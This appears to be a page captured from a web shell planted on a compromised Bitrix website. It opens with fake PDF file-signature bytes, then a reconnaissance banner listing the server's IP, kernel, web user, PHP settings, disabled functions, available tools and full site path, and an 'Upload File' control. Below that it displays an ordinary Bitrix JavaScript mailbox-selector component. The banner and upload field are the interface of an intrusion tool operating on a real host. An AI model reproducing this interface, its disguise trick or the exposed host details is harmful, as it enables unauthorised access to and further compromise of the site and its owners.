%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.217.104.118 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.mail.sender/templates/.default/ |
Upload File : |
;(function (window) { BX.namespace('BX.Sender.UI.Mailbox'); if (BX.Sender.UI.Mailbox.Selector) { return; } var Helper = BX.Sender.Helper; /** * Selector. * */ function Selector(params) { } Selector.prototype.init = function (params) { this.list = params.list; this.list = params.containerId; this.context = BX(params.containerId); this.default = params.default; this.input = Helper.getNode('mailbox-input', this.context); this.mailbox = Helper.getNode('mailbox', this.context); this.mailboxWrap = Helper.getNode('mailbox-wrap', this.context); BX.bind(this.mailboxWrap, 'click', this.showMenu.bind(this)); this.param = { placeholder: '', required: true, callback: function(title, text) { this.setSelected(title); }.bind(this), settings:[], popupSettings:{ maxHeight:350 } }; this.setCurrent(params.current); }; Selector.prototype.setCurrent = function(current) { this.ifExists(current)? this.setSelected(current): this.setSelected(this.getFirstOrDefault()); }; Selector.prototype.getFirstOrDefault = function() { return (BXMainMailConfirm.getMailboxes().length > 0)? BXMainMailConfirm.getMailboxes()[0].formated: ''; }; Selector.prototype.setSelected = function(value) { if(BX.type.isNotEmptyString(value)) { this.param.selected = value; this.input.value = value; this.mailbox.textContent = value; } else { this.input.value = ''; this.mailbox.textContent = this.default; } }; Selector.prototype.ifExists = function(value) { if(BX.type.isNotEmptyString(value) && BXMainMailConfirm.getMailboxes().length > 0) { for(var i in BXMainMailConfirm.getMailboxes()) { if(BXMainMailConfirm.getMailboxes()[i].formated === value) { return true; } } } return false; }; Selector.prototype.showMenu = function () { BXMainMailConfirm.showList('sender-ui-mailbox-selector',this.mailbox,this.param); }; BX.Sender.UI.Mailbox.Selector = new Selector(); })(window);